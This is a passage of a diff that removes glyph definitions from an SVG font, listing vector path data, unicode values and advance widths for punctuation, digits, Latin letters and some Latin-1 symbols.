-                d="M733 13v-13h-131q-74 64 -140 119q-93 -134 -225 -134q-79 0 -142.5 51.5t-63.5 127.5q0 74 44.5 117.5t117.5 75.5q-88 98 -88 182q0 67 52 111.5t122 44.5t120 -44.5t51 -111.5q1 -116 -144 -191l-11 -6q63 -60 156 -135q27 53 66 145v9h120v-11l-73 -40 q-39 -85 -70 -139q104 -84 142 -118zM276 639q-44 0 -75 -29t-31 -70q0 -64 85 -157q128 55 128 157q0 36 -31.5 67.5t-75.5 31.5zM243 40q102 0 177 113q-141 117 -187 161q-34 -15 -54 -26t-43 -28.5t-33.5 -39t-10.5 -48.5q0 -60 46 -96t105 -36z"
-            />
-<glyph unicode="'" horiz-adv-x="224" d="M112 766q23 0 40 -17.5t17 -40.5l-52 -213h-10l-52 213q0 23 16.5 40.5t40.5 17.5z" />
-<glyph unicode="(" horiz-adv-x="316" d="M248 721l9 -14q-137 -246 -137 -463q0 -220 141 -469l-7 -12q-83 81 -141 211.5t-58 269.5q0 138 56 266t137 211z" />
-<glyph unicode=")" horiz-adv-x="316" d="M59 707l9 14q81 -83 137 -211t56 -266q0 -139 -58 -269.5t-141 -211.5l-7 12q141 249 141 469q0 217 -137 463z" />
-<glyph
-                unicode="*"
-                horiz-adv-x="388"
-                d="M301 496l32 -5l-29 -50l-21 24l-76 49l5 -90l11 -30h-58l11 30l5 90l-76 -49l-21 -24l-29 50l32 5l81 42l-81 41l-32 5l29 50l21 -24l76 -49l-5 90l-11 30h58l-11 -30l-5 -90l76 49l21 24l29 -50l-32 -5l-81 -41z"
-            />
-<glyph unicode="+" horiz-adv-x="487" d="M446 256h-176v-169h-53v169h-176v50h176v168h53v-168h176v-50z" />
-<glyph unicode="," horiz-adv-x="222" d="M97 84h92q0 -54 -35.5 -120t-87.5 -109h-41q38 44 56 107t16 122z" />
-<glyph unicode="-" horiz-adv-x="365" d="M320 260h-275v54h275v-54z" />
-<glyph unicode="." horiz-adv-x="209" d="M104 84q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15z" />
-<glyph unicode="/" horiz-adv-x="348" d="M30 -140h-60l348 885h60z" />
-<glyph
-                unicode="0"
-                d="M275 695q104 0 168.5 -100.5t64.5 -254.5q0 -152 -65 -253.5t-168 -101.5q-104 0 -169 101.5t-65 253.5q0 154 65 254.5t169 100.5zM275 636q-78 0 -121 -84t-43 -212q0 -126 43 -211t121 -85q77 0 120 85t43 211q0 128 -43 212t-120 84z"
-            />
-<glyph unicode="1" d="M320 76l122 -65v-11h-303v11l123 65v512l-126 41v12l172 57h12v-622z" />
-<glyph
-                unicode="2"
-                d="M264 695q90 0 147.5 -49t57.5 -138q0 -33 -11 -65t-42 -77.5t-56.5 -77.5t-86.5 -105.5t-100 -121.5h238l56 67h10v-128h-422v12q124 145 275 340q69 89 69 153q0 61 -37 96t-102 35q-55 0 -99 -31t-71 -79h-10v94q31 34 81 54.5t103 20.5z"
-            />
-<glyph
-                unicode="3"
-                d="M274 695q87 0 148.5 -47.5t61.5 -135.5q0 -56 -30 -93.5t-82 -69.5q49 -15 87.5 -60t38.5 -108q0 -90 -64.5 -144t-169.5 -54q-99 0 -188 66v91h12q37 -50 79.5 -74t106.5 -24q66 0 110 34.5t44 101.5q0 68 -44 103t-110 35h-66v58h66q61 0 100.5 37t39.5 94t-39.5 94 t-100.5 37q-98 0 -158 -76h-12v84q74 51 170 51z"
-            />
-<glyph unicode="4" d="M510 182h-106v-129l77 -42v-11h-218v11l78 42v129h-318v14l371 489h10v-447h116zM122 238h219v280z" />
-<glyph
-                unicode="5"
-                d="M461 618h-276l-21 -219q75 24 102 24q102 0 166.5 -55t64.5 -163q0 -99 -65.5 -160.5t-164.5 -61.5q-47 0 -88 16t-58.5 30t-43.5 38v78h12q38 -52 76.5 -77.5t108.5 -25.5q65 0 109 44t44 118q0 73 -44 116.5t-109 43.5q-88 0 -164 -61l-11 5l37 372h333z"
-            />
-<glyph
-                unicode="6"
-                d="M435 680l-276 -320q55 56 134 56q91 0 152 -55t61 -152t-66.5 -162t-154.5 -65q-99 0 -161 62t-62 165q0 66 28.5 126t106.5 156l153 189h85zM285 357q-67 0 -110 -45.5t-43 -111.5q0 -65 43 -112t110 -47q66 0 108.5 47t42.5 112q0 66 -42.5 111.5t-108.5 45.5z"
-            />
-<glyph unicode="7" d="M508 670l-306 -670h-75l297 621h-286l-44 -46h-11v105h425v-10z" />
-<glyph
-                unicode="8"
-                d="M275 695q86 0 141.5 -53t55.5 -128q0 -62 -36 -102t-82 -57q22 -7 43 -19t44 -32t37.5 -52t14.5 -71q0 -83 -63.5 -139.5t-154.5 -56.5t-154 56t-63 140q0 39 14 71t36.5 52t44 32t42.5 19q-46 17 -82 57t-36 102q0 75 55.5 128t142.5 53zM274 636q-54 0 -91 -36t-37 -90 q0 -53 37.5 -89t90.5 -36t90.5 36t37.5 89q0 54 -37 90t-91 36zM275 326q-58 0 -102.5 -41t-44.5 -101q0 -62 43 -101t104 -39t104.5 39t43.5 101q0 61 -44 101.5t-104 40.5z"
-            />
-<glyph
-                unicode="9"
-                d="M124 0l276 320q-55 -56 -134 -56q-91 0 -152 55t-61 152t66.5 162t154.5 65q99 0 161 -62t62 -165q0 -66 -28.5 -126t-106.5 -156l-153 -189h-85zM274 323q67 0 110 45.5t43 111.5q0 65 -43 112t-110 47q-66 0 -108.5 -47t-42.5 -112q0 -66 42.5 -111.5t108.5 -45.5z"
-            />
-<glyph
-                unicode=":"
-                horiz-adv-x="209"
-                d="M99 454q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15zM99 84q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15z"
-            />
-<glyph
-                unicode=";"
-                horiz-adv-x="230"
-                d="M125 454q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15zM77 84h92q0 -54 -35.5 -120t-87.5 -109h-41q38 44 56 107t16 122z"
-            />
-<glyph unicode="&#x3c;" horiz-adv-x="493" d="M422 426l-295 -176l295 -176v-69l-381 241v8l381 241v-69z" />
-<glyph unicode="=" horiz-adv-x="489" d="M447 325h-405v50h405v-50zM447 172h-405v50h405v-50z" />
-<glyph unicode="&#x3e;" horiz-adv-x="493" d="M452 254v-8l-381 -241v69l295 176l-295 176v69z" />
-<glyph
-                unicode="?"
-                horiz-adv-x="470"
-                d="M223 695q87 0 139.5 -47.5t52.5 -124.5q0 -44 -20 -79.5t-49 -61.5t-58.5 -51.5t-53.5 -62.5t-29 -81h-17q0 45 16.5 85.5t39.5 70t46 57.5t39.5 59.5t16.5 64.5q0 54 -36.5 85t-89.5 31q-36 0 -68 -18.5t-46.5 -35t-38.5 -49.5h-12v89q78 69 168 69zM194 84 q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15z"
-            />
-<glyph
-                unicode="@"
-                horiz-adv-x="911"
-                d="M475 680q163 0 278.5 -103.5t115.5 -258.5q0 -127 -59.5 -201t-141.5 -74q-90 0 -113 87q-62 -87 -151 -87q-71 0 -123 53t-52 146q0 94 60.5 163.5t148.5 69.5q107 0 158 -105l44 98h11l-32 -291q-4 -39 16.5 -61.5t52.5 -22.5q46 0 87.5 64t41.5 161 q0 129 -101.5 221.5t-240.5 92.5q-167 0 -274 -108t-107 -283q0 -96 49.5 -176.5t124 -124t152.5 -43.5q130 0 220 73v-53q-30 -28 -90 -48t-130 -20q-150 0 -264 113.5t-114 278.5q0 195 121.5 317t311.5 122zM443 417q-72 0 -110.5 -48.5t-38.5 -126.5q0 -61 34 -101 t89 -40q56 0 102 49t46 139q0 57 -38 92.5t-84 35.5z"
-            />
-<glyph unicode="A" horiz-adv-x="742" d="M641 65l76 -54v-11h-217v11l77 41l-72 174h-272l-70 -173h5l77 -42v-11h-220v11l77 55l264 630h12zM255 282h227l-115 279z" />
-<glyph
-                unicode="B"
-                horiz-adv-x="608"
-                d="M418 355q53 -10 96.5 -52.5t43.5 -106.5q0 -82 -62 -139t-170 -57h-276v11l78 42v574l-78 42v11h271q86 0 147 -46t61 -137q0 -50 -34.5 -90.5t-76.5 -51.5zM191 624v-241h128q66 0 104.5 35.5t38.5 81.5q0 53 -35.5 88.5t-107.5 35.5h-128zM191 56h140q71 0 116 39.5 t45 99.5t-50 96t-123 36h-128v-271z"
-            />
-<glyph
-                unicode="C"
-                horiz-adv-x="748"
-                d="M663 501h-12q-80 135 -245 135q-126 0 -207.5 -83.5t-81.5 -212.5t81.5 -212.5t207.5 -83.5q165 0 245 135h12v-194h-11l-52 56q-88 -56 -188 -56q-160 0 -261 102.5t-101 252.5t101 252.5t261 102.5q103 0 189 -56l51 56h11v-194z"
-            />
-<glyph
-                unicode="D"
-                horiz-adv-x="719"
-                d="M50 680h241q172 0 275 -94t103 -246q0 -149 -103 -244.5t-275 -95.5h-241v11l77 41v576l-77 41v11zM191 57h100q139 0 223.5 77.5t84.5 205.5q0 131 -84 207t-224 76h-100v-566z"
-            />
-<glyph unicode="E" horiz-adv-x="594" d="M509 159h10v-159h-469v11l78 42v574l-78 42v11h458v-119h-10l-51 65h-256v-249h220l43 47h8v-150h-8l-43 47h-220v-267h261z" />
-<glyph unicode="F" horiz-adv-x="578" d="M50 680h478v-129h-10l-51 75h-276v-259h220l43 47h8v-149h-8l-43 46h-220v-258l77 -42v-11h-218v11l78 42v574l-78 42v11z" />
-<glyph
-                unicode="G"
-                horiz-adv-x="782"
-                d="M742 328v-11l-73 -47v-285h-11l-46 67q-90 -67 -205 -67q-156 0 -256.5 102.5t-100.5 252.5t100.5 252.5t256.5 102.5q105 0 186 -53l50 53h11v-196h-11q-77 136 -237 137q-127 0 -208 -83.5t-81 -212.5t81 -212.5t208 -83.5q120 0 204 84l-2 142l-94 47v11h228z"
-            />
-<glyph
-                unicode="H"
-                horiz-adv-x="766"
-                d="M716 669l-76 -41v-576l76 -41v-11h-217v11l78 42v262h-386v-262l77 -42v-11h-218v11l78 42v574l-78 42v11h218v-11l-77 -42v-255h386v255l-78 42v11h217v-11z"
-            />
-<glyph unicode="I" horiz-adv-x="318" d="M268 669l-77 -42v-574l77 -42v-11h-218v11l78 42v574l-78 42v11h218v-11z" />
-<glyph
-                unicode="J"
-                horiz-adv-x="524"
-                d="M489 680v-11l-77 -42h-1v-429q0 -99 -51.5 -156t-145.5 -57q-93 0 -174 71v113h11q26 -59 68.5 -92t94.5 -33q70 0 102.5 46.5t32.5 116.5v420l-78 42v11h218z"
-            />
-<glyph
-                unicode="K"
-                horiz-adv-x="708"
-                d="M598 50l75 -39v-11h-231v11l64 35l-315 293v-286l77 -42v-11h-218v11l78 42v574l-78 42v11h218v-11l-77 -42v-266l290 272l-66 36v11h229v-11l-80 -41l-302 -273z"
-            />
-<glyph unicode="L" horiz-adv-x="559" d="M519 169v-169h-469v11l78 42v574l-78 42v11h218v-11l-77 -42v-573h261l57 115h10z" />
-<glyph
-                unicode="M"
-                horiz-adv-x="871"
-                d="M756 52l75 -41v-11h-214v11l73 39l-18 479l-228 -332h-15l-226 332l-21 -479l72 -39v-11h-214v11l76 41l20 564l-76 56v8h121l255 -382l262 382h117v-8l-79 -56z"
-            />
-<glyph unicode="N" horiz-adv-x="798" d="M537 680h221v-11l-77 -42v-642h-9l-478 584v-516l77 -42v-11h-221v11l78 42v562l-76 59v7h135l428 -522v468l-78 42v11z" />
-<glyph
-                unicode="O"
-                horiz-adv-x="792"
-                d="M396 695q147 0 251 -101.5t104 -253.5q0 -150 -104 -252.5t-251 -102.5q-146 0 -250.5 103t-104.5 252q0 152 104 253.5t251 101.5zM396 636q-124 0 -204.5 -86.5t-80.5 -209.5q0 -121 81 -208.5t204 -87.5q124 0 204.5 87.5t80.5 208.5q0 124 -80 210t-205 86z"
-            />
-<glyph
-                unicode="P"
-                horiz-adv-x="583"
-                d="M50 680h265q117 0 182 -60t65 -148q0 -92 -63.5 -153.5t-183.5 -61.5h-124v-204l77 -42v-11h-218v11l78 42v574l-78 42v11zM191 313h127q84 0 129.5 44.5t45.5 110.5t-45.5 111t-129.5 45h-127v-311z"
-            />
-<glyph
-                unicode="Q"
-                horiz-adv-x="816"
-                d="M766 -110v-12h-88l-124 139q-69 -32 -149 -32q-146 0 -250.5 103t-104.5 252q0 152 104 253.5t251 101.5t251 -101.5t104 -253.5q0 -89 -40 -165t-108 -124l98 -117zM120 340q0 -121 81 -208.5t204 -87.5q124 0 204.5 87.5t80.5 208.5q0 124 -80 210t-205 86 q-124 0 -204.5 -86.5t-80.5 -209.5z"
-            />
-<glyph
-                unicode="R"
-                horiz-adv-x="658"
-                d="M638 11v-11h-130l-286 340v14h92q72 0 116 35t44 100q0 64 -44 99t-116 35h-123v-571l82 -41v-11h-223v11l78 42v574l-78 42v11h284q89 0 149 -53.5t60 -138.5q0 -83 -65 -134.5t-149 -53.5l217 -241z"
-            />
-<glyph
-                unicode="S"
-                horiz-adv-x="522"
-                d="M433 551h-10q-26 38 -71 60.5t-94 22.5q-56 0 -92 -32.5t-36 -83.5q0 -25 9 -45.5t20.5 -34.5t40 -30.5t50.5 -27t69 -31.5q68 -30 105.5 -71.5t37.5 -108.5q0 -76 -54.5 -130t-153.5 -54q-117 0 -194 72v95h11q30 -51 80.5 -79t111.5 -28q63 0 97.5 34.5t34.5 82.5 q0 59 -39 90t-164 85q-63 27 -96.5 69.5t-33.5 110.5q0 78 57 128t138 50q104 0 176 -53v-91z"
-            />
-<glyph unicode="T" horiz-adv-x="642" d="M582 680v-114h-5l-58 57h-167v-563l89 -49v-11h-242v11l90 50v562h-166l-58 -57h-5v114h522z" />
-<glyph
-                unicode="U"
-                horiz-adv-x="755"
-                d="M725 680v-11l-77 -42v-369q0 -125 -77 -199t-196 -74q-118 0 -192.5 73.5t-74.5 199.5v369l-78 42v11h218v-11l-77 -42v-374q0 -91 57.5 -150t146.5 -59q90 0 150 56t60 147v380l-78 42v11h218z"
-            />
-<glyph unicode="V" horiz-adv-x="720" d="M705 680v-11l-72 -51l-266 -636h-12l-266 635l-74 52v11h229v-11l-77 -42h-7l206 -508l199 508h-6l-78 42v11h224z" />
-<glyph
-                unicode="W"
-                horiz-adv-x="996"
-                d="M986 680v-11l-71 -50l-187 -638h-12l-221 532l-198 -532h-12l-210 644l-65 44v11h222v-11l-77 -42h-7l150 -483l200 555h3l220 -555l127 483h-4l-78 42v11h220z"
-            />
-<glyph
-                unicode="X"
-                horiz-adv-x="749"
-                d="M628 65l91 -54v-11h-232v11l78 42h1l-193 246l-187 -246l77 -42v-11h-233v11l101 66l206 269l-208 265l-96 58v11h114l3 -4v4h120v-11l-77 -42h-5l184 -234l182 237l-72 39v11h230v-11l-99 -56l-204 -268z"
-            />
-<glyph
-                unicode="Y"
-                horiz-adv-x="705"
-                d="M680 680v-11l-64 -39l-227 -359v-210l89 -50v-11h-242v11l90 50v209l-220 347l-81 52v11h217v-11l-67 -37l187 -301l178 304l-63 34v11h203zM357 220l-2 -3l3 2z"
-            />
-<glyph unicode="Z" horiz-adv-x="625" d="M547 146h10v-146h-502l-5 10l418 613h-322l-57 -76h-9v133h490l5 -10l-416 -613h319z" />
-<glyph unicode="[" horiz-adv-x="255" d="M200 659h-94v-843h94v-46h-145v935h145v-46z" />
-<glyph unicode="\" horiz-adv-x="351" d="M30 745l351 -745h-60l-351 746z" />
-<glyph unicode="]" horiz-adv-x="255" d="M200 705v-935h-145v46h94v843h-94v46h145z" />
-<glyph unicode="^" horiz-adv-x="532" d="M490 425l-19 -15l-206 183l-205 -183l-18 15l223 275z" />
-<glyph unicode="_" horiz-adv-x="483" d="M483 -54h-483v54h483v-54z" />
-<glyph unicode="`" horiz-adv-x="305" d="M158 725l105 -155h-17l-204 155h116z" />
-<glyph
-                unicode="a"
-                horiz-adv-x="552"
-                d="M453 53l77 -42v-11h-126l-1 76q-65 -91 -185 -91q-72 0 -122.5 41.5t-50.5 113.5t55 112.5t138 40.5q70 0 154 -38v66q0 62 -42 98t-106 36q-46 0 -85 -20t-61 -56l-10 5v67q66 62 166 62q92 0 145.5 -50.5t53.5 -139.5v-270zM392 163v39q-69 33 -154 33q-56 0 -92 -25 t-36 -70q0 -48 32 -72.5t86 -24.5q57 0 110.5 37.5t53.5 82.5z"
-            />
-<glyph
-                unicode="b"
-                horiz-adv-x="652"
-                d="M354 513q108 0 182 -77.5t74 -187.5q0 -109 -74 -186t-182 -77q-118 0 -198 97l-26 -79h-28v663l-77 45v9l138 25v-334q31 46 81.5 74t109.5 28zM354 43q85 0 138 59t53 147t-53 147t-138 59t-138 -59t-53 -147t53 -147t138 -59z"
-            />
-<glyph
-                unicode="c"
-                horiz-adv-x="534"
-                d="M471 366h-10q-34 44 -70.5 66.5t-87.5 22.5q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5q108 0 158 71l10 1l1 -73q-26 -25 -73 -41t-97 -16q-108 -1 -184 77t-76 187t76 186.5t184 77.5q28 0 51 -5.5t35 -11t34 -17.5l39 34h10v-147z"
-            />
-<glyph
-                unicode="d"
-                horiz-adv-x="649"
-                d="M550 53l77 -42v-11h-138v75q-81 -90 -191 -90q-108 0 -182 77t-74 186q0 110 74 187.5t182 77.5t191 -90v243l-77 45v9l138 25v-692zM298 43q85 0 138 59t53 147t-53 147t-138 59t-138 -59t-53 -147t53 -147t138 -59z"
-            />
-<glyph
-                unicode="e"
-                horiz-adv-x="576"
-                d="M291 513q103 0 168 -72t65 -195v-14h-420q0 -79 57.5 -134t135.5 -55q115 0 172 68l11 -2v-71q-74 -53 -186 -53q-100 0 -176 74.5t-76 189.5q0 111 73.5 187.5t175.5 76.5zM290 455q-76 0 -131.5 -54t-55.5 -115h352q0 74 -43.5 121.5t-121.5 47.5z"
-            />
-<glyph
-                unicode="f"
-                horiz-adv-x="374"
-                d="M382 645h-10q-37 39 -90 39q-55 0 -76.5 -35t-21.5 -100v-52h147v-54h-147v-392l84 -40v-11h-223v11l78 42v390h-72v54h72v77q0 75 42 121.5t113 46.5q52 0 102 -23z"
-            />
-<glyph
-                unicode="g"
-                horiz-adv-x="623"
-                d="M551 512v-486q0 -123 -70 -190t-183 -67q-26 0 -51 4t-43 8t-39.5 13t-31 13.5t-28 14.5t-20.5 11l-1 63h9q47 -33 93.5 -51t113.5 -18q87 0 138.5 47.5t51.5 140.5v61q-81 -91 -192 -91q-108 0 -182 77t-74 186q0 110 74 187.5t182 77.5t192 -91v1l44 89h17zM298 43 q85 0 138 59t53 147t-53 147t-138 59t-138 -59t-53 -147t53 -147t138 -59z"
-            />
-<glyph
-                unicode="h"
-                horiz-adv-x="629"
-                d="M530 53l77 -42v-11h-216v11l78 42v252q0 75 -40 112.5t-103 37.5q-131 0 -142 -126v-282l77 -42v-11h-216v11l78 42v614l-77 44v9l138 25v-301q24 31 65.5 53t91.5 22q88 0 138.5 -54t50.5 -159v-247z"
-            />
-<glyph
-                unicode="i"
-                horiz-adv-x="288"
-                d="M147 631q-22 0 -38 15.5t-16 37.5q0 23 16 39.5t38 16.5t38.5 -16.5t16.5 -39.5q0 -22 -16 -37.5t-39 -15.5zM184 53l77 -42v-11h-216v11l78 42v381l-77 44v9l138 26v-460z"
-            />
-<glyph
-                unicode="j"
-                horiz-adv-x="302"
-                d="M169 737q20 0 35.5 -15.5t15.5 -37.5q0 -21 -15.5 -35.5t-35.5 -14.5q-21 0 -36.5 14.5t-15.5 35.5q0 22 15.5 37.5t36.5 15.5zM206 513v-585q0 -88 -41 -133t-98 -45q-62 0 -97 31v88h12q21 -35 38 -50t43 -15q83 0 83 118v511l-78 45v8z"
-            />
-<glyph
-                unicode="k"
-                horiz-adv-x="591"
-                d="M479 53l90 -42v-11h-130l-260 270v-217l77 -42v-11h-216v11l78 42v614l-77 44v9l138 25v-461l216 170l-59 32v11h218v-9l-102 -54l-194 -155z"
-            />
-<glyph unicode="l" horiz-adv-x="301" d="M179 53l77 -42v-11h-216v11l78 42v614l-77 44v9l138 25v-692z" />
-<glyph
-                unicode="m"
-                horiz-adv-x="923"
-                d="M825 52l76 -41v-11h-214v11l78 42v262q0 76 -40 111t-90 35q-55 0 -92.5 -37t-37.5 -115v-256l77 -42v-11h-216v11l78 42v256q0 76 -40.5 114t-89.5 38q-54 0 -92 -37.5t-38 -114.5v-256l77 -42v-11h-216v11l78 42v381l-77 44v9l126 26l6 -72q20 28 60.5 50t86.5 22 q118 0 163 -85q68 85 158 85q81 0 130 -48.5t49 -144.5v-268z"
-            />
-<glyph
-                unicode="n"
-                horiz-adv-x="629"
-                d="M530 53l77 -42v-11h-216v11l78 42v252q0 75 -40 112.5t-103 37.5q-131 0 -142 -126v-276l77 -42v-11h-216v11l78 42v381l-77 44v9l126 26l7 -67l1 -13q23 33 66 56.5t95 23.5q88 0 138.5 -54t50.5 -159v-247z"
-            />
-<glyph
-                unicode="o"
-                horiz-adv-x="606"
-                d="M303 513q108 0 184.5 -78t76.5 -186q0 -109 -76.5 -186.5t-184.5 -77.5q-109 0 -185 77t-76 187q0 108 76.5 186t184.5 78zM303 455q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5t140.5 59.5t55.5 146.5t-55.5 146.5t-140.5 59.5z"
-            />
-<glyph
-                unicode="p"
-                horiz-adv-x="663"
-                d="M365 513q108 0 182 -77.5t74 -187.5q0 -109 -74 -186t-182 -77q-113 0 -191 89v-256l77 -42v-11h-216v11l78 42h1v616l-78 44v9l138 26v-102q31 46 81.5 74t109.5 28zM365 43q85 0 138 59t53 147t-53 147t-138 59t-138 -59t-53 -147t53 -147t138 -59z"
-            />
-<glyph
-                unicode="q"
-                horiz-adv-x="654"
-                d="M550 -182l77 -42v-11h-216v11l78 42v257q-81 -90 -191 -90q-108 0 -182 77t-74 186q0 110 74 187.5t182 77.5t191 -90v2l44 88h17v-695zM298 43q85 0 138 59t53 147t-53 147t-138 59t-138 -59t-53 -147t53 -147t138 -59z"
-            />
-<glyph
-                unicode="r"
-                horiz-adv-x="403"
-                d="M319 513q31 0 62 -10v-69h-10q-21 21 -69 21q-59 0 -88.5 -49t-29.5 -131v-222l94 -42v-11h-233v11l78 42v381l-77 44v9l127 26l7 -88q47 88 139 88z"
-            />
-<glyph
-                unicode="s"
-                horiz-adv-x="432"
-                d="M360 396h-10q-65 58 -135 58q-45 0 -71.5 -21.5t-26.5 -56.5q0 -37 27.5 -56.5t102.5 -46.5q133 -47 133 -145q0 -60 -48 -101.5t-120 -41.5q-85 0 -160 50v77h11q56 -69 149 -69q44 0 75 20.5t31 56.5q0 37 -27 62t-94 46q-73 23 -107 55.5t-34 90.5t46 98t120 40 q69 0 138 -38v-78z"
-            />
-<glyph
-                unicode="t"
-                horiz-adv-x="403"
-                d="M179 443v-297q0 -109 89 -109q46 0 81 49l9 -3v-65q-42 -33 -98 -33q-62 0 -102 40.5t-40 111.5v306h-93v9l148 152h7v-107h181v-54h-182z"
-            />
-<glyph
-                unicode="u"
-                horiz-adv-x="620"
-                d="M508 53l77 -42v-11h-131l-5 65q-22 -34 -65 -57.5t-96 -23.5q-88 0 -138.5 54t-50.5 159v247l-77 42v11h138v-305q0 -75 40.5 -115.5t102.5 -40.5q68 0 105.5 39.5t37.5 116.5v252l-77 42v11h140z"
-            />
-<glyph unicode="v" horiz-adv-x="608" d="M598 497v-8l-71 -45l-217 -463h-12l-217 463l-71 45v8h219v-11l-77 -42l152 -348l153 350l-74 40v11h215z" />
-<glyph
-                unicode="w"
-                horiz-adv-x="824"
-                d="M807 497v-8l-72 -45l-153 -463h-11l-160 388l-163 -388h-14l-146 463l-71 45v8h216v-11l-77 -42h-1l97 -324l161 386h8l151 -373l94 312l-76 41v11h217z"
-            />
-<glyph
-                unicode="x"
-                horiz-adv-x="606"
-                d="M581 10v-10h-220v11l71 38l-130 152l-128 -152l70 -38v-11h-211v11l66 42l169 188l-173 203l-70 44v9h229v-10l-76 -39l132 -159l128 159l-68 39v10h196v-11l-58 -42l-165 -195l163 -196z"
-            />
-<glyph
-                unicode="y"
-                horiz-adv-x="612"
-                d="M607 497v-8l-67 -45l-281 -627l74 -40v-12h-241v12l99 40l81 156l18 44l-205 424l-80 48v8h231v-11l-73 -40l157 -357l148 358l-72 39v11h211z"
-            />
-<glyph unicode="z" horiz-adv-x="504" d="M458 499l4 -8l-324 -441h250l53 63h9v-113h-404l-4 7l321 441h-236l-54 -66h-8v115z" />
-<glyph
-                unicode="{"
-                horiz-adv-x="387"
-                d="M330 726l2 -7q-55 -33 -85 -93.5t-30 -128.5v-128q0 -37 -16.5 -73t-49.5 -51q33 -15 49.5 -51t16.5 -73v-128q0 -153 115 -222l-2 -7q-89 32 -127.5 79.5t-38.5 152.5v146q0 24 -6.5 40t-25 27t-31.5 16t-46 16v8q33 11 46 16t31.5 16t25 27t6.5 40v146q0 99 39.5 150 t126.5 82z"
-            />
-<glyph unicode="|" horiz-adv-x="247" d="M147 -225h-47v970h47v-970z" />
-<glyph
-                unicode="}"
-                horiz-adv-x="387"
-                d="M55 719l2 7q87 -31 126.5 -82t39.5 -150v-146q0 -24 6.5 -40t25 -27t31.5 -16t46 -16v-8q-33 -11 -46 -16t-31.5 -16t-25 -27t-6.5 -40v-146q0 -105 -38.5 -152.5t-127.5 -79.5l-2 7q115 69 115 222v128q0 37 16.5 73t49.5 51q-33 15 -49.5 51t-16.5 73v128 q0 68 -30 128.5t-85 93.5z"
-            />
-<glyph
-                unicode="~"
-                horiz-adv-x="524"
-                d="M468 348l14 -4q-20 -115 -126 -115q-36 0 -97.5 28t-90.5 28q-30 0 -60.5 -24t-51.5 -57l-14 4q2 55 39.5 95t86.5 40q36 0 97.5 -28t90.5 -28q34 -1 64 15.5t48 45.5z"
-            />
-<glyph
-                unicode="&#xa1;"
-                horiz-adv-x="209"
-                d="M104 579q-21 0 -35 15t-14 36q0 20 14 34t35 14q20 0 35 -14.5t15 -33.5q0 -20 -15 -35.5t-35 -15.5zM63 -17l35 493h16l32 -493h-83z"
-            />
-<glyph
-                unicode="&#xa2;"
-                d="M480 115l1 -73q-48 -44 -133 -55v-55h-66v54q-98 10 -164.5 86t-66.5 177t66.5 176t164.5 86v59h66v-59q36 -5 83 -32l39 34h10v-147h-10q-34 44 -70.5 66.5t-87.5 22.5q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5q108 0 158 71z"
-            />
-<glyph
-                unicode="&#xa3;"
-                d="M361 636q-63 0 -106.5 -43t-46.5 -124q-1 -47 3 -95h214v-54h-210q9 -67 1 -140t-44 -123h255l63 89h12v-146h-450v12l67 68q20 21 30.5 44t12 60.5t0 58t-6.5 77.5h-83v54h78q-5 52 -5 101q0 96 61.5 158t148.5 62q81 0 149 -41v-75h-12q-48 57 -131 57z"
-            />
-<glyph
-                unicode="&#xa4;"
-                horiz-adv-x="610"
-                d="M510 250q0 -66 -40 -120l73 -70l-52 -49l-72 73q-50 -33 -114 -33t-114 33l-72 -73l-52 49l73 70q-40 54 -40 120t40 120l-73 70l52 49l72 -73q50 33 114 33t114 -33l72 73l52 -49l-73 -70q40 -54 40 -120zM167 250q0 -61 39.5 -102t98.5 -41t98.5 41t39.5 102 q0 63 -39 103t-99 40q-59 0 -98.5 -41t-39.5 -102z"
-            />
-<glyph
-                unicode="&#xa5;"
-                d="M529 680v-12l-47 -38l-151 -283h116v-50h-139v-73h139v-50h-139v-113l81 -50v-11h-226v11l82 50v113h-144v50h144v73h-144v50h122l-143 283l-60 38v12h174v-12l-58 -38l146 -276l140 276l-55 38v12h162z"
-            />
-<glyph unicode="&#xa6;" horiz-adv-x="248" d="M148 275h-47v470h47v-470zM147 -225h-47v430h47v-430z" />
-<glyph
-                unicode="&#xa7;"
-                horiz-adv-x="522"
-                d="M462 169q0 -62 -38 -111q38 -44 38 -109q0 -76 -54.5 -130t-153.5 -54q-117 0 -194 72v95h11q30 -51 80.5 -79t111.5 -28q63 0 97.5 34.5t34.5 82.5q0 59 -39 90t-164 85q-63 27 -96.5 69.5t-33.5 110.5q0 59 37 106q-37 45 -37 114q0 78 57 128t138 50q104 0 176 -53 v-91h-10q-26 38 -71 60.5t-94 22.5q-56 0 -92 -32.5t-36 -83.5q0 -25 9 -45.5t20.5 -34.5t40 -30.5t50.5 -27t69 -31.5q68 -30 105.5 -71.5t37.5 -108.5zM130 298q0 -25 9 -45.5t20.5 -34.5t40 -30.5t50.5 -27t69 -31.5q30 -13 58 -30q18 28 18 63q0 59 -39 90t-164 85 q-29 13 -44 23q-18 -27 -18 -62z"
-            />
-<glyph
-                unicode="&#xa8;"
-                horiz-adv-x="388"
-                d="M96 707q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15zM291 707q23 0 39 -15t16 -38t-16 -38t-39 -15q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15z"
-            />
-<glyph
-                unicode="&#xa9;"
-                horiz-adv-x="784"
-                d="M392 695q145 0 247.5 -105t102.5 -250t-102.5 -250t-247.5 -105t-247.5 105t-102.5 250t102.5 250t247.5 105zM392 648q-123 0 -211 -91.5t-88 -216.5t88 -216.5t211 -91.5t211 91.5t88 216.5t-88 216.5t-211 91.5zM520 426h-7q-52 67 -120 67q-64 0 -106 -45t-42 -111 t41.5 -110.5t106.5 -44.5q81 0 120 53l7 1l1 -55q-47 -43 -129 -43q-81 -1 -138.5 58t-57.5 141q0 83 57 141.5t139 58.5q43 0 91 -26l30 26h7v-111z"
-            />
